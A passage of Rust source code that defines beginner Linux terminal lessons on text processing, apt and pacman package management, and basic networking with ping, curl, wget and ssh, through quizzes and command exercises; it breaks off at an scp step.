1452 title: "The Power of Text Processing".to_string(),
1453 instruction: "".to_string(),
1454 hint: None,
1455 step_type: StepType::Information {
1456 content: "Welcome to Text Processing!\n\nLinux philosophy: Small, focused tools that do ONE thing well, combined through pipes.\n\nYou'll learn to:\n • Chain commands with pipes (|)\n • Filter text with grep patterns\n • Extract columns with cut\n • Sort and organize data\n • Find unique entries with uniq\n • Transform text with sed and awk\n\nThese tools turn the terminal into a data processing powerhouse!\n\nExample workflow:\n cat access.log | grep ERROR | cut -d' ' -f1 | sort | uniq -c\n ↑ read log → filter errors → extract IPs → sort → count unique\n\nLet's start simple and build up!".to_string(),
1457 },
1458 },
1459 LessonStep {
1460 step_number: 2,
1461 title: "Introduction to Pipes".to_string(),
1462 instruction: "Pipes (|) send output from one command as input to another. Try: ls -l | grep txt".to_string(),
1463 hint: Some("Type: ls -l | grep txt".to_string()),
1464 step_type: StepType::CommandExercise {
1465 expected_command: "ls -l | grep txt".to_string(),
1466 validation: CommandValidation::Exact,
1467 success_message: "Perfect! The pipe takes 'ls -l' output and filters it through grep, showing only lines with 'txt'. Pipes are the foundation of text processing!".to_string(),
1468 },
1469 },
1470 LessonStep {
1471 step_number: 3,
1472 title: "Advanced grep Patterns".to_string(),
1473 instruction: "grep can use regular expressions. The -E flag enables extended regex. Try finding lines starting with numbers in /etc/services: grep -E '^[0-9]' /etc/services".to_string(),
1474 hint: Some("Type: grep -E '^[0-9]' /etc/services (^ means start of line, [0-9] means any digit)".to_string()),
1475 step_type: StepType::CommandExercise {
1476 expected_command: "grep -E '^[0-9]' /etc/services".to_string(),
1477 validation: CommandValidation::Exact,
1478 success_message: "Great! Regular expressions are powerful:\n ^ = start of line\n $ = end of line\n . = any character\n * = zero or more\n + = one or more\n [0-9] = any digit\n [a-z] = any lowercase letter".to_string(),
1479 },
1480 },
1481 LessonStep {
1482 step_number: 4,
1483 title: "Showing Line Numbers and Context".to_string(),
1484 instruction: "grep -n shows line numbers. Try: grep -n http /etc/services | head -5".to_string(),
1485 hint: Some("Type: grep -n http /etc/services | head -5".to_string()),
1486 step_type: StepType::CommandExercise {
1487 expected_command: "grep -n http /etc/services | head -5".to_string(),
1488 validation: CommandValidation::Exact,
1489 success_message: "Excellent! The -n flag adds line numbers. Other useful grep flags:\n -v (invert, show non-matching)\n -c (count matches)\n -l (list filenames only)\n -A 3 (show 3 lines After match)\n -B 3 (show 3 lines Before match)\n -C 3 (show 3 lines of Context)".to_string(),
1490 },
1491 },
1492 LessonStep {
1493 step_number: 5,
1494 title: "Extracting Columns with cut".to_string(),
1495 instruction: "".to_string(),
1496 hint: None,
1497 step_type: StepType::Information {
1498 content: "'cut' extracts specific columns from text.\n\nCommon uses:\n cut -d':' -f1 /etc/passwd Extract 1st field (usernames)\n cut -d' ' -f1,3 file.txt Extract fields 1 and 3\n cut -c1-10 file.txt Extract characters 1-10\n\nOptions:\n -d 'delimiter' - Field separator (default: tab)\n -f fields - Which field(s) to extract (1,2,3 or 1-5)\n -c chars - Character positions\n\nExample with /etc/passwd:\n cat /etc/passwd | cut -d':' -f1,3\n Shows username (field 1) and user ID (field 3)\n\nGreat for:\n • CSV files (cut -d',')\n • Log files (cut -d' ')\n • Configuration files\n • Tab-separated data".to_string(),
1499 },
1500 },
1501 LessonStep {
1502 step_number: 6,
1503 title: "Practice: Extract Usernames".to_string(),
1504 instruction: "Extract just the usernames (first field) from /etc/passwd. Use cut with colon delimiter: cut -d':' -f1 /etc/passwd".to_string(),
1505 hint: Some("Type: cut -d':' -f1 /etc/passwd".to_string()),
1506 step_type: StepType::CommandExercise {
1507 expected_command: "cut -d':' -f1 /etc/passwd".to_string(),
1508 validation: CommandValidation::Exact,
1509 success_message: "Perfect! You've extracted all usernames. The /etc/passwd file uses colons as delimiters, and field 1 is the username. This is how you parse structured text files!".to_string(),
1510 },
1511 },
1512 LessonStep {
1513 step_number: 7,
1514 title: "Sorting Text with sort".to_string(),
1515 instruction: "The 'sort' command organizes lines alphabetically. Try sorting usernames: cut -d':' -f1 /etc/passwd | sort".to_string(),
1516 hint: Some("Type: cut -d':' -f1 /etc/passwd | sort".to_string()),
1517 step_type: StepType::CommandExercise {
1518 expected_command: "cut -d':' -f1 /etc/passwd | sort".to_string(),
1519 validation: CommandValidation::Exact,
1520 success_message: "Excellent! sort arranges lines alphabetically. Useful flags:\n -r (reverse order)\n -n (numeric sort)\n -k 2 (sort by column 2)\n -u (unique, remove duplicates)\n -t ':' (use : as delimiter)".to_string(),
1521 },
1522 },
1523 LessonStep {
1524 step_number: 8,
1525 title: "Quiz: Understanding Pipes".to_string(),
1526 instruction: "".to_string(),
1527 hint: None,
1528 step_type: StepType::MultipleChoice {
1529 question: "What does this command do: ps aux | grep python | wc -l".to_string(),
1530 options: vec![
1531 "Counts how many Python programs are installed".to_string(),
1532 "Counts lines in Python scripts".to_string(),
1533 "Counts how many running processes have 'python' in their name".to_string(),
1534 "Shows Python version".to_string(),
1535 ],
1536 correct_index: 2,
1537 explanation: "Correct! Let's break it down:\n 1. ps aux - List all processes\n 2. | grep python - Filter for lines containing 'python'\n 3. | wc -l - Count the lines (wc -l counts lines)\n\nSo it counts how many processes contain 'python' in their command/name. This is how you combine simple tools for complex tasks!".to_string(),
1538 },
1539 },
1540 LessonStep {
1541 step_number: 9,
1542 title: "Finding Unique Entries with uniq".to_string(),
1543 instruction: "".to_string(),
1544 hint: None,
1545 step_type: StepType::Information {
1546 content: "'uniq' removes duplicate adjacent lines.\n\nIMPORTANT: Lines must be sorted first!\n\nCommon usage:\n sort file.txt | uniq Remove duplicates\n sort file.txt | uniq -c Count occurrences\n sort file.txt | uniq -d Show only duplicates\n sort file.txt | uniq -u Show only unique lines\n\nReal-world example:\n cat access.log | cut -d' ' -f1 | sort | uniq -c | sort -rn\n ↑ Get IPs from log → sort → count each → sort by frequency\n\nWhy sort first?\n uniq only detects consecutive duplicates!\n Without sort: a,b,a,a,b → a,b,a,b (only middle duplicates removed)\n With sort: a,a,a,b,b → a,b (all duplicates removed)\n\nPro tip: 'sort -u' combines sort + uniq in one command!".to_string(),
1547 },
1548 },
1549 LessonStep {
1550 step_number: 10,
1551 title: "Counting with wc".to_string(),
1552 instruction: "".to_string(),
1553 hint: None,
1554 step_type: StepType::Information {
1555 content: "'wc' (word count) counts lines, words, and characters.\n\nUsage:\n wc file.txt Show lines, words, bytes\n wc -l file.txt Count lines only\n wc -w file.txt Count words only\n wc -c file.txt Count bytes/characters\n\nWith pipes:\n ls | wc -l Count files in directory\n ps aux | wc -l Count running processes\n grep ERROR log | wc -l Count errors in log\n cat file | wc -w Count words in file\n\nExample:\n $ wc /etc/passwd\n 45 72 2594 /etc/passwd\n ↑ ↑ ↑\n lines words bytes\n\nQuick counts:\n • How many users? → wc -l /etc/passwd\n • How many files? → ls | wc -l\n • How many errors? → grep ERROR log.txt | wc -l".to_string(),
1556 },
1557 },
1558 LessonStep {
1559 step_number: 11,
1560 title: "Introduction to sed".to_string(),
1561 instruction: "".to_string(),
1562 hint: None,
1563 step_type: StepType::Information {
1564 content: "'sed' (stream editor) transforms text.\n\nBasic find-and-replace:\n sed 's/old/new/' file.txt Replace first occurrence per line\n sed 's/old/new/g' file.txt Replace all occurrences (global)\n sed 's/old/new/gi' file.txt Case-insensitive replacement\n\nDeleting lines:\n sed '/pattern/d' file.txt Delete lines matching pattern\n sed '5d' file.txt Delete line 5\n sed '1,10d' file.txt Delete lines 1-10\n\nPrinting specific lines:\n sed -n '5p' file.txt Print only line 5\n sed -n '10,20p' file.txt Print lines 10-20\n sed -n '/ERROR/p' file.txt Print lines with ERROR (like grep)\n\nReal examples:\n sed 's/http/https/g' urls.txt Change http to https\n sed '/^$/d' file.txt Remove empty lines\n sed 's/ */ /g' file.txt Replace multiple spaces with one\n\nNote: sed doesn't modify the file, just outputs transformed text.\nTo save: sed 's/old/new/g' file.txt > newfile.txt".to_string(),
1565 },
1566 },
1567 LessonStep {
1568 step_number: 12,
1569 title: "Introduction to awk".to_string(),
1570 instruction: "".to_string(),
1571 hint: None,
1572 step_type: StepType::Information {
1573 content: "'awk' is a powerful text processing language.\n\nBasic syntax:\n awk '{print $1}' file.txt Print first field\n awk '{print $1,$3}' file.txt Print fields 1 and 3\n awk '{print $NF}' file.txt Print last field\n\nWith delimiters:\n awk -F':' '{print $1}' /etc/passwd Use : as delimiter\n awk -F',' '{print $2}' data.csv Use , for CSV\n\nFiltering:\n awk '$3 > 100' file.txt Print lines where field 3 > 100\n awk '/ERROR/' file.txt Print lines matching ERROR\n awk '$1 == \"root\"' /etc/passwd Print if field 1 equals root\n\nUseful built-ins:\n $0 = entire line\n $1 = first field\n $NF = last field\n NR = line number\n NF = number of fields\n\nReal examples:\n ps aux | awk '{print $1,$2,$11}' User, PID, command\n awk '{sum+=$1} END {print sum}' nums Sum first column\n awk 'length > 80' file.txt Lines longer than 80 chars".to_string(),
1574 },
1575 },
1576 LessonStep {
1577 step_number: 13,
1578 title: "Practice: Complex Pipeline".to_string(),
1579 instruction: "".to_string(),
1580 hint: None,
1581 step_type: StepType::Information {
1582 content: "Let's build a complex pipeline step by step!\n\nTask: Find the 5 most common shells used by system users.\n\nPipeline:\n cut -d':' -f7 /etc/passwd | sort | uniq -c | sort -rn | head -5\n\nBreaking it down:\n 1. cut -d':' -f7 /etc/passwd\n Extract field 7 (login shell) from passwd\n\n 2. | sort\n Sort shells alphabetically (required for uniq)\n\n 3. | uniq -c\n Count occurrences of each unique shell\n\n 4. | sort -rn\n Sort numerically (-n) in reverse (-r) order\n (most common first)\n\n 5. | head -5\n Show only top 5 results\n\nThis is the power of pipes! Small tools combined for complex analysis.\n\nTry modifying it:\n • Top 10 instead of 5? Change head -5 to head -10\n • Least common? Remove -r from sort\n • Show all? Remove | head -5".to_string(),
1583 },
1584 },
1585 LessonStep {
1586 step_number: 14,
1587 title: "Quiz: Text Processing Mastery".to_string(),
1588 instruction: "".to_string(),
1589 hint: None,
1590 step_type: StepType::MultipleChoice {
1591 question: "Which command extracts unique IP addresses from an access log and counts them?".to_string(),
1592 options: vec![
1593 "cat access.log | grep -E '[0-9]+' | uniq".to_string(),
1594 "cut -d' ' -f1 access.log | sort | uniq -c".to_string(),
1595 "awk '{print $1}' access.log | count".to_string(),
1596 "sed 's/.*([0-9.]+).*/\\1/' access.log".to_string(),
1597 ],
1598 correct_index: 1,
1599 explanation: "Correct! Breaking it down:\n • cut -d' ' -f1 - Extract first field (IP address, space-delimited)\n • sort - Sort IPs (required for uniq)\n • uniq -c - Count unique occurrences\n\nAlternative with awk:\n awk '{print $1}' access.log | sort | uniq -c\n\nWhy not the others?\n • Option 1: No sort before uniq, won't work properly\n • Option 3: No 'count' command exists\n • Option 4: sed regex is overly complex and incomplete".to_string(),
1600 },
1601 },
1602 LessonStep {
1603 step_number: 15,
1604 title: "Completion: Text Processing Mastered!".to_string(),
1605 instruction: "".to_string(),
1606 hint: None,
1607 step_type: StepType::Information {
1608 content: "Outstanding! You're now a text processing expert!\n\nKey commands:\n grep pattern file Search/filter text\n grep -E '^[0-9]' Extended regex\n cut -d':' -f1 file Extract columns\n sort file Sort lines\n sort -rn Reverse numeric sort\n uniq Remove duplicates (needs sorted input)\n uniq -c Count occurrences\n wc -l Count lines\n sed 's/old/new/g' Find and replace\n awk '{print $1}' file Print first field\n\nPipe patterns:\n cmd1 | cmd2 | cmd3 Chain commands\n sort | uniq Remove duplicates\n sort | uniq -c Count unique entries\n grep pattern | wc -l Count matches\n cut | sort | uniq Extract and deduplicate\n\nPro tips:\n • Always sort before uniq\n • Use -n with sort for numbers\n • Combine awk/cut with pipes for complex parsing\n • Test each pipe stage separately\n\nNext: Learn package management!".to_string(),
1609 },
1610 },
1611 ],
1612 }
1613}
1614
1615fn create_package_management_lesson() -> Lesson {
1617 Lesson {
1618 id: "package-mgmt".to_string(),
1619 title: "Package Management".to_string(),
1620 description: "Learn to install, update, and manage software packages using apt (Debian/Ubuntu) and pacman (Arch).".to_string(),
1621 difficulty: Difficulty::Beginner,
1622 estimated_minutes: 12,
1623 prerequisites: vec!["nav-basics".to_string()],
1624 tags: vec!["beginner".to_string(), "packages".to_string(), "system".to_string()],
1625 setup: vec![],
1626 steps: vec![
1627 LessonStep {
1628 step_number: 1,
1629 title: "What is Package Management?".to_string(),
1630 instruction: "".to_string(),
1631 hint: None,
1632 step_type: StepType::Information {
1633 content: "Welcome to Package Management!\n\nA 'package' is software bundled with:\n • The program itself\n • Dependencies (other software it needs)\n • Configuration files\n • Documentation\n • Install/uninstall scripts\n\nPackage managers handle:\n ✓ Installing software\n ✓ Updating software\n ✓ Removing software\n ✓ Dependency resolution\n ✓ Security updates\n\nCommon package managers:\n • apt/apt-get (Debian, Ubuntu, Linux Mint)\n • dnf/yum (Fedora, RHEL, CentOS)\n • pacman (Arch, Manjaro)\n • zypper (openSUSE)\n\nWe'll cover apt (most common) and pacman (fastest growing).\n\nNo more downloading .exe files from random websites!".to_string(),
1634 },
1635 },
1636 LessonStep {
1637 step_number: 2,
1638 title: "apt Basics - Updating Package Lists".to_string(),
1639 instruction: "".to_string(),
1640 hint: None,
1641 step_type: StepType::Information {
1642 content: "First rule of apt: Always update package lists first!\n\nCommand:\n sudo apt update\n\nWhat it does:\n • Downloads latest package information from repositories\n • Checks which packages have updates available\n • Does NOT install anything yet\n • Should be run before installing or upgrading\n\nThink of it like:\n • apt update = Check what's available in the store\n • apt upgrade = Actually buy the new versions\n\nWhy sudo?\n Package management affects the whole system, so it requires\n administrator (root) privileges. 'sudo' gives you temporary\n admin access.\n\nBest practice:\n Run 'sudo apt update' daily or before installing anything.".to_string(),
1643 },
1644 },
1645 LessonStep {
1646 step_number: 3,
1647 title: "Quiz: Understanding apt update".to_string(),
1648 instruction: "".to_string(),
1649 hint: None,
1650 step_type: StepType::MultipleChoice {
1651 question: "What does 'sudo apt update' do?".to_string(),
1652 options: vec![
1653 "Installs all available updates immediately".to_string(),
1654 "Downloads the list of available packages and updates".to_string(),
1655 "Removes old packages".to_string(),
1656 "Reboots the system".to_string(),
1657 ],
1658 correct_index: 1,
1659 explanation: "Correct! 'apt update' refreshes your package database - it downloads information about what packages are available and which versions are current. It does NOT install anything. Think of it as 'checking the menu' before ordering food. To actually install updates, you'd use 'apt upgrade'.".to_string(),
1660 },
1661 },
1662 LessonStep {
1663 step_number: 4,
1664 title: "Upgrading Installed Packages".to_string(),
1665 instruction: "".to_string(),
1666 hint: None,
1667 step_type: StepType::Information {
1668 content: "Keeping software updated is crucial for security!\n\nCommand:\n sudo apt upgrade\n\nWhat it does:\n • Upgrades all installed packages to latest versions\n • Shows what will be upgraded before proceeding\n • Asks for confirmation (y/n)\n • Keeps your system secure and stable\n\nSafe upgrade workflow:\n 1. sudo apt update (refresh package lists)\n 2. sudo apt upgrade (install updates)\n\nFull upgrade (more aggressive):\n sudo apt full-upgrade\n • Upgrades packages even if it means removing some\n • Use carefully, read what it plans to do!\n\nAutomatic yes:\n sudo apt upgrade -y\n • Automatically answers 'yes' to prompts\n • Convenient for scripts\n • Use carefully!".to_string(),
1669 },
1670 },
1671 LessonStep {
1672 step_number: 5,
1673 title: "Installing Packages".to_string(),
1674 instruction: "".to_string(),
1675 hint: None,
1676 step_type: StepType::Information {
1677 content: "Installing software is simple with apt!\n\nCommand:\n sudo apt install package-name\n\nExamples:\n sudo apt install htop # Better process viewer\n sudo apt install curl # Download tool\n sudo apt install git # Version control\n sudo apt install neofetch # System info display\n\nMultiple packages at once:\n sudo apt install vim git curl htop\n\nWhat happens:\n 1. apt checks dependencies\n 2. Shows what will be installed\n 3. Asks for confirmation\n 4. Downloads packages\n 5. Installs everything\n 6. Runs post-install scripts\n\nTips:\n • Read the confirmation message!\n • Check disk space requirements\n • Package names are case-sensitive\n • Most packages have documentation in /usr/share/doc/".to_string(),
1678 },
1679 },
1680 LessonStep {
1681 step_number: 6,
1682 title: "Searching for Packages".to_string(),
1683 instruction: "".to_string(),
1684 hint: None,
1685 step_type: StepType::Information {
1686 content: "How to find packages:\n\nSearch by name/description:\n apt search keyword\n apt search python | grep ^python3 # Filter results\n\nShow package details:\n apt show package-name\n • Shows description, version, size, dependencies\n • Shows if it's installed\n • Shows homepage and maintainer\n\nList installed packages:\n apt list --installed\n apt list --installed | grep python\n\nCheck if package is installed:\n apt list --installed package-name\n dpkg -l | grep package-name\n\nFind which package provides a file:\n apt-file search /path/to/file\n (requires: sudo apt install apt-file)\n\nExample workflow:\n 1. apt search \"video editor\"\n 2. apt show kdenlive\n 3. sudo apt install kdenlive".to_string(),
1687 },
1688 },
1689 LessonStep {
1690 step_number: 7,
1691 title: "Removing Packages".to_string(),
1692 instruction: "".to_string(),
1693 hint: None,
1694 step_type: StepType::Information {
1695 content: "Uninstalling software cleanly:\n\nRemove package (keep config files):\n sudo apt remove package-name\n • Removes the program\n • Keeps configuration in /etc/ and ~/\n • Useful if you might reinstall later\n\nComplete removal (including configs):\n sudo apt purge package-name\n • Removes everything\n • Clean slate\n • Use when you're sure you won't reinstall\n\nRemove orphaned dependencies:\n sudo apt autoremove\n • Removes packages that were dependencies\n • But are no longer needed\n • Safe to run regularly\n\nClean package cache:\n sudo apt clean # Remove all cached .deb files\n sudo apt autoclean # Remove only outdated cache\n\nFull cleanup workflow:\n sudo apt remove package-name\n sudo apt autoremove\n sudo apt clean".to_string(),
1696 },
1697 },
1698 LessonStep {
1699 step_number: 8,
1700 title: "Quiz: Package Removal".to_string(),
1701 instruction: "".to_string(),
1702 hint: None,
1703 step_type: StepType::MultipleChoice {
1704 question: "What's the difference between 'apt remove' and 'apt purge'?".to_string(),
1705 options: vec![
1706 "They do exactly the same thing".to_string(),
1707 "remove keeps config files, purge removes everything".to_string(),
1708 "purge is faster than remove".to_string(),
1709 "remove requires sudo, purge doesn't".to_string(),
1710 ],
1711 correct_index: 1,
1712 explanation: "Correct! 'apt remove' uninstalls the package but keeps configuration files (useful if you might reinstall). 'apt purge' removes EVERYTHING including configs. Example: If you remove then reinstall a database, 'remove' would keep your database config. 'purge' would give you a completely fresh start. Both require sudo.".to_string(),
1713 },
1714 },
1715 LessonStep {
1716 step_number: 9,
1717 title: "Introduction to pacman (Arch Linux)".to_string(),
1718 instruction: "".to_string(),
1719 hint: None,
1720 step_type: StepType::Information {
1721 content: "pacman is the package manager for Arch Linux.\n\nBasic commands:\n sudo pacman -Syu Update system\n sudo pacman -S package Install package\n sudo pacman -R package Remove package\n sudo pacman -Rns package Remove package + dependencies\n sudo pacman -Ss keyword Search for packages\n sudo pacman -Qi package Package info (installed)\n sudo pacman -Si package Package info (repository)\n sudo pacman -Qe List explicitly installed\n sudo pacman -Sc Clean package cache\n\nFlag meanings:\n -S = Sync (install/update from repos)\n -R = Remove\n -Q = Query (search installed)\n -s = search\n -y = refresh package database\n -u = upgrade\n -n = remove package-specific config\n -s = remove unneeded dependencies\n\nCommon combinations:\n -Syu = Sync database + upgrade all\n -Ss = Sync search\n -Rns = Remove + unneeded deps + configs".to_string(),
1722 },
1723 },
1724 LessonStep {
1725 step_number: 10,
1726 title: "apt vs pacman Comparison".to_string(),
1727 instruction: "".to_string(),
1728 hint: None,
1729 step_type: StepType::Information {
1730 content: "Quick reference: apt vs pacman\n\nUpdate package lists:\n apt: sudo apt update\n pacman: sudo pacman -Sy\n\nUpgrade all packages:\n apt: sudo apt upgrade\n pacman: sudo pacman -Syu\n\nInstall package:\n apt: sudo apt install pkg\n pacman: sudo pacman -S pkg\n\nRemove package:\n apt: sudo apt remove pkg\n pacman: sudo pacman -R pkg\n\nRemove package + deps:\n apt: sudo apt autoremove pkg\n pacman: sudo pacman -Rns pkg\n\nSearch packages:\n apt: apt search keyword\n pacman: pacman -Ss keyword\n\nShow package info:\n apt: apt show pkg\n pacman: pacman -Si pkg\n\nList installed:\n apt: apt list --installed\n pacman: pacman -Qe\n\nClean cache:\n apt: sudo apt clean\n pacman: sudo pacman -Sc".to_string(),
1731 },
1732 },
1733 LessonStep {
1734 step_number: 11,
1735 title: "Package Management Best Practices".to_string(),
1736 instruction: "".to_string(),
1737 hint: None,
1738 step_type: StepType::Information {
1739 content: "Golden rules for package management:\n\n1. Update regularly:\n sudo apt update && sudo apt upgrade\n Do this weekly or before installing new software\n\n2. Read before confirming:\n Check what will be installed/removed!\n Especially important for 'full-upgrade' or 'autoremove'\n\n3. Don't mix package managers:\n Use ONE primary package manager\n Don't mix apt with snap, or pip system-wide packages\n Use virtual environments for Python/Node packages\n\n4. Be careful with PPAs (apt) or AUR (Arch):\n Third-party repositories can be unsafe\n Only add trusted sources\n\n5. Keep backups:\n Before major upgrades, backup important data\n Upgrades rarely break things, but be prepared\n\n6. Clean up regularly:\n sudo apt autoremove && sudo apt clean\n Removes orphaned packages and cached files\n\n7. Check logs if something fails:\n /var/log/apt/history.log (apt)\n /var/log/pacman.log (pacman)".to_string(),
1740 },
1741 },
1742 LessonStep {
1743 step_number: 12,
1744 title: "Completion: Package Management Mastered!".to_string(),
1745 instruction: "".to_string(),
1746 hint: None,
1747 step_type: StepType::Information {
1748 content: "Great job! You can now manage software like a pro!\n\napt (Debian/Ubuntu) commands:\n sudo apt update Refresh package lists\n sudo apt upgrade Install updates\n sudo apt install pkg Install package\n sudo apt remove pkg Uninstall package\n sudo apt purge pkg Uninstall + remove configs\n sudo apt autoremove Remove orphaned dependencies\n sudo apt search keyword Find packages\n apt show pkg Package details\n apt list --installed List installed packages\n\npacman (Arch) commands:\n sudo pacman -Syu Update system\n sudo pacman -S pkg Install package\n sudo pacman -R pkg Remove package\n sudo pacman -Rns pkg Remove + dependencies + configs\n sudo pacman -Ss keyword Search packages\n pacman -Qi pkg Package info\n\nBest practices:\n ✓ Update before installing\n ✓ Read confirmation prompts\n ✓ Clean up regularly\n ✓ Use one package manager\n ✓ Keep backups\n\nNext: Learn networking basics!".to_string(),
1749 },
1750 },
1751 ],
1752 }
1753}
1754
1755fn create_network_basics_lesson() -> Lesson {
1757 Lesson {
1758 id: "network-basics".to_string(),
1759 title: "Network Basics".to_string(),
1760 description: "Learn essential networking commands: ping for connectivity testing, curl and wget for downloads, and basic ssh usage.".to_string(),
1761 difficulty: Difficulty::Beginner,
1762 estimated_minutes: 12,
1763 prerequisites: vec!["nav-basics".to_string()],
1764 tags: vec!["beginner".to_string(), "network".to_string(), "internet".to_string()],
1765 setup: vec![],
1766 steps: vec![
1767 LessonStep {
1768 step_number: 1,
1769 title: "Introduction to Network Commands".to_string(),
1770 instruction: "".to_string(),
1771 hint: None,
1772 step_type: StepType::Information {
1773 content: "Welcome to Network Basics!\n\nThe terminal is powerful for network operations:\n • Testing connectivity\n • Downloading files\n • Remote server access\n • Troubleshooting issues\n • Automating web requests\n\nYou'll learn:\n • ping - Test if a host is reachable\n • curl - Transfer data from URLs\n • wget - Download files\n • ssh - Secure remote access\n • Basic connectivity troubleshooting\n\nThese tools are essential for:\n • System administrators\n • Web developers\n • DevOps engineers\n • Anyone managing remote servers\n\nLet's get connected!".to_string(),
1774 },
1775 },
1776 LessonStep {
1777 step_number: 2,
1778 title: "Testing Connectivity with ping".to_string(),
1779 instruction: "ping sends packets to a host to test connectivity. Try pinging Google: ping -c 4 google.com".to_string(),
1780 hint: Some("Type: ping -c 4 google.com (-c 4 means send 4 packets then stop)".to_string()),
1781 step_type: StepType::CommandExercise {
1782 expected_command: "ping -c 4 google.com".to_string(),
1783 validation: CommandValidation::Exact,
1784 success_message: "Perfect! ping shows:\n • If the host is reachable\n • Response time (latency) in milliseconds\n • Packet loss percentage\n\nLower time = faster connection. 0% packet loss = good connection!".to_string(),
1785 },
1786 },
1787 LessonStep {
1788 step_number: 3,
1789 title: "Understanding ping Output".to_string(),
1790 instruction: "".to_string(),
1791 hint: None,
1792 step_type: StepType::Information {
1793 content: "Decoding ping results:\n\nPING google.com (142.250.185.46): 56 data bytes\n64 bytes from 142.250.185.46: icmp_seq=0 ttl=116 time=12.4 ms\n64 bytes from 142.250.185.46: icmp_seq=1 ttl=116 time=11.8 ms\n\nKey information:\n • IP address: 142.250.185.46 (DNS resolved google.com)\n • icmp_seq: Sequence number (detects missing packets)\n • ttl: Time To Live (hops remaining, typically 64 or 128)\n • time: Round-trip time in milliseconds\n\nStatistics:\n 4 packets transmitted, 4 received, 0% packet loss\n round-trip min/avg/max = 11.8/12.1/12.4 ms\n\nWhat's good?\n • 0% packet loss = excellent\n • <50ms = great for most uses\n • <100ms = acceptable\n • >200ms = noticeable lag\n • >500ms = poor connection\n\nUse cases:\n • Is my internet working? → ping 8.8.8.8 (Google DNS)\n • Can I reach this server? → ping example.com\n • Network troubleshooting".to_string(),
1794 },
1795 },
1796 LessonStep {
1797 step_number: 4,
1798 title: "Quiz: Understanding ping".to_string(),
1799 instruction: "".to_string(),
1800 hint: None,
1801 step_type: StepType::MultipleChoice {
1802 question: "What does 'ping -c 10 example.com' do?".to_string(),
1803 options: vec![
1804 "Downloads the website 10 times".to_string(),
1805 "Sends 10 test packets to example.com to check connectivity".to_string(),
1806 "Connects to example.com 10 times per second".to_string(),
1807 "Checks if port 10 is open on example.com".to_string(),
1808 ],
1809 correct_index: 1,
1810 explanation: "Correct! The -c flag specifies count. 'ping -c 10' sends exactly 10 ICMP echo request packets, waits for replies, then stops and shows statistics. Without -c, ping runs forever (stop with Ctrl+C). This tests if the host is reachable and measures network latency.".to_string(),
1811 },
1812 },
1813 LessonStep {
1814 step_number: 5,
1815 title: "Downloading with curl".to_string(),
1816 instruction: "".to_string(),
1817 hint: None,
1818 step_type: StepType::Information {
1819 content: "'curl' transfers data from or to a server.\n\nBasic usage:\n curl https://example.com Display page content\n curl -o file.html https://example.com Download to file\n curl -O https://site.com/file.zip Download, keep name\n curl -L https://short.url Follow redirects\n\nUseful flags:\n -o filename Save to specified filename\n -O Save with remote filename\n -L Follow redirects (important!)\n -I Show headers only\n -s Silent mode (no progress)\n -v Verbose (show details)\n -u user:pass Authentication\n\nAPI requests:\n curl https://api.github.com/users/octocat\n curl -X POST -d 'data' https://api.example.com\n curl -H 'Authorization: token' https://api.com\n\nTesting:\n curl -I https://example.com Check if site is up\n curl https://ifconfig.me Show your public IP".to_string(),
1820 },
1821 },
1822 LessonStep {
1823 step_number: 6,
1824 title: "Practice: Using curl".to_string(),
1825 instruction: "Try fetching your public IP address using curl: curl -s https://ifconfig.me".to_string(),
1826 hint: Some("Type: curl -s https://ifconfig.me (-s makes it silent/no progress bar)".to_string()),
1827 step_type: StepType::CommandExercise {
1828 expected_command: "curl -s https://ifconfig.me".to_string(),
1829 validation: CommandValidation::Exact,
1830 success_message: "Great! You just fetched your public IP address. The -s flag suppresses the progress bar. curl is incredibly versatile - it's like a Swiss Army knife for web requests!".to_string(),
1831 },
1832 },
1833 LessonStep {
1834 step_number: 7,
1835 title: "Downloading Files with wget".to_string(),
1836 instruction: "".to_string(),
1837 hint: None,
1838 step_type: StepType::Information {
1839 content: "'wget' downloads files from the web.\n\nBasic usage:\n wget https://example.com/file.zip\n wget -O custom.zip https://example.com/file.zip\n wget -c https://example.com/bigfile.iso (resume download)\n\nUseful flags:\n -O filename Save as specific name\n -c Continue/resume partial download\n -b Background download\n -q Quiet mode\n -r Recursive (download entire site)\n --limit-rate=1M Limit download speed\n\nMultiple files:\n wget -i urls.txt Download all URLs in file\n\ncurl vs wget:\n wget:\n • Simpler for downloading files\n • Better for recursive downloads\n • Resume broken downloads\n • Download in background\n\n curl:\n • More versatile (uploads, APIs)\n • Better for testing/debugging\n • Pipe output to other commands\n • More protocol support\n\nRule of thumb:\n • Downloading files? → wget\n • API requests? → curl\n • Both work for simple downloads!".to_string(),
1840 },
1841 },
1842 LessonStep {
1843 step_number: 8,
1844 title: "Introduction to SSH".to_string(),
1845 instruction: "".to_string(),
1846 hint: None,
1847 step_type: StepType::Information {
1848 content: "SSH (Secure Shell) - Remote server access\n\nBasic syntax:\n ssh username@hostname\n ssh user@192.168.1.100\n ssh user@example.com\n\nExamples:\n ssh root@myserver.com\n ssh pi@192.168.1.50 Raspberry Pi\n ssh -p 2222 user@server Custom port\n\nFirst connection:\n • You'll see a fingerprint warning (type 'yes')\n • Enter password when prompted\n • You're now on the remote machine!\n • Everything you type runs on the remote server\n • Type 'exit' or Ctrl+D to disconnect\n\nUseful flags:\n -p port Custom port (default: 22)\n -i keyfile Use SSH key for authentication\n -X Enable X11 forwarding (GUI apps)\n -L Port forwarding\n -v Verbose (debugging)\n\nSSH keys (advanced):\n ssh-keygen Generate key pair\n ssh-copy-id user@host Copy public key to server\n ssh user@host Now login without password!".to_string(),
1849 },
1850 },
1851 LessonStep {
1852 step_number: 9,
1853 title: "Quiz: SSH Usage".to_string(),
1854 instruction: "".to_string(),
1855 hint: None,
1856 step_type: StepType::MultipleChoice {
1857 question: "What does 'ssh user@192.168.1.100' do?".to_string(),
1858 options: vec![
1859 "Downloads files from 192.168.1.100".to_string(),
1860 "Tests network connectivity to 192.168.1.100".to_string(),
1861 "Opens a secure remote terminal session on 192.168.1.100 as 'user'".to_string(),
1862 "Transfers files securely to 192.168.1.100".to_string(),
1863 ],
1864 correct_index: 2,
1865 explanation: "Correct! SSH creates an encrypted terminal connection to the remote machine. You can then run commands as if you were sitting at that computer. It's like remote desktop but for the command line. For file transfers, you'd use 'scp' or 'rsync'. For connectivity testing, use 'ping'.".to_string(),
1866 },
1867 },
1868 LessonStep {
1869 step_number: 10,
1870 title: "Copying Files with scp".to_string(),
1871 instruction: "".to_string(),
1872 hint: None,
1873 step_type: StepType::Information {
